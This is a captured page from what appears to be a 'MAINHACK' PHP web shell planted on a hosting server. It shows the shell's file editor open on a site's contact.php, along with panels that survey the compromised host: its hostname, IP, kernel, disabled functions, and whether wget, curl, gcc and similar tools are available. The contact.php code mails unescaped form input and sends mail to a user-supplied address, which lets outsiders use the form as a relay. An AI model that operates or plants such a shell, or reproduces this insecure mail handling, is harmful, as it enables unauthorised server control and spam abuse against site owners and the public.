[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: contact.php
<?php include('header.php'); ?> <!-- // Header Inculide --> <!-- Inner-Banner --> <div class="inner-banner"> </div> <!-- // Inner-Banner --> <!-- contact --> <section class="contact"> <div class="container py-sm-3"> <!-- tittle heading --> <div class="spec" data-aos="fade-down" style="transition:all 1500ms ease-in-out"> <h3>Get In Touch</h3> <div class="ser-t"> <b></b> <span><i></i></span> <b class="line"></b> </div> </div> <!-- //tittle heading --> <div class="form row py-5" style="padding: 25px 20px;"> <div class="col-lg-6 col-md-6 col-xs-12 contact-form"> <form action="#" method="post"> <div class="fields-grid"> <div class="styled-input agile-styled-input-top"> <input type="text" name="name" required=""> <label>Full Name</label> <span></span> </div> <div class="styled-input"> <input type="email" name="email" required=""> <label>Email Address</label> <span></span> </div> <div class="styled-input"> <input type="tel" name="phone" required=""> <label>Phone Number</label> <span></span> </div> <div class="styled-input mt-5"> <textarea name="content"></textarea> <label class="text">Your Message</label> <span></span> </div> </div> <input type="submit" name="sub" value="Submit"> </form> <?php if(isset($_POST['sub'])){ /* $data=array( 'name'=>htmlentities(strip_tags($_POST['name'])), 'email'=>htmlentities(strip_tags($_POST['email'])), 'phone'=>htmlentities(strip_tags($_POST['phone'])), 'content'=>htmlentities(strip_tags($_POST['content'])), 'date'=>date('Y-m-d') ); if($show->insert('enquiry',$data)){ echo "<script>alert('Thank you for Enquiring. We will contact you soon');</script>"; } */ // $my_mail="support@yadass.com"; $email_subject = "Enquiry"; $em='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content=" <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } body, td, input, textarea, select { font-family:'Podkova', serif; margin: 0; } </style> </head> <body> <table style='border: 20px double #1475ad;' width='800px'> <tr><td style='text-align:center;background: #1475ad;'> <h3 style='text-align: center; color: #fff; font-size: 20px; text-transform: uppercase;'>Welcome to ".$company_name." </h3></td></tr> <tr><td style='text-align:justify;padding:12px;font-size:18px;'>New Enquiry has come : <br>Name ".$_POST['name'].",<br> <br>Email ".$_POST['email'].",<br> <br>Phone ".$_POST['phone'].",<br> <br>content ".$_POST['content'].",<br><br> <br><br><br><br> <br><br><br><br> Thanks & Regards,<br> ".$company_name.",<br> Web : ".$website."<br> Email : ".$email." <br> <br> <br> </td></tr> </tr> </table> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($email,$email_subject,$email_content,$headers) && @mail($_POST['em'],$email_subject,$email_content,$headers)) { echo "<script>alert('Mail has been sent. We will contact you soon'); </script>"; } else { echo "<script>alert('Message not sent!')</script>"; } } ?> </div> <div class="col-lg-6 col-md-6 col-xs-12 "> <div class="bg-img"> <img src="images/ban-co-g.gif" alt="" > <div class="contact-layer"> <h3 class="mb-3">Dont hesitate to contact us for any kind of information</h3> <p><i class="fa mr-2 fa-phone"></i>+91 <?=$phone?></p> </div> </div> </div> </div> <div class="address row"> <div class="col-md-4 address-grid"> <div class="address-info"> <div class="address-left"> <!--<i class="fa fa-map"></i> --> <img src="images/address.gif" alt="" class="ad-gif" > </div> <div class="address-right text-center"> <h6 class="ad-info text-uppercase mb-2">Address</h6> <p> <?=$address?>,<?=$state?>,<?=$city?>,<?=$pincode?> </p> </div> </div> </div> <div class="col-md-4 address-grid"> <div class="address-info"> <div class="address-left"> <!--<i class="fa fa-envelope"></i> --> <img src="images/mail.gif" alt="" class="em-gif" > </div> <div class="address-right text-center"> <h6 class="ad-info text-uppercase mb-2">Email</h6> <a href="mailto:<?=$email?>"><?=$email?></a> </div> </div> </div> <div class="col-md-4 address-grid"> <div class="address-info"> <div class="address-left"> <!--<i class="fa fa-mobile" style="font-size: 3em;"></i> --> <img src="images/phone.gif" alt="" class="ph-gif" > </div> <div class="address-right text-center"> <h6 class="ad-info text-uppercase mb-2">Phone</h6> <p>+91 <?=$phone?></p> <p></p> </div> </div> </div> </div> </div> </section> <!-- //contact --> <!-- footer --> <?php include('footer.php'); ?> <!-- //footer -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619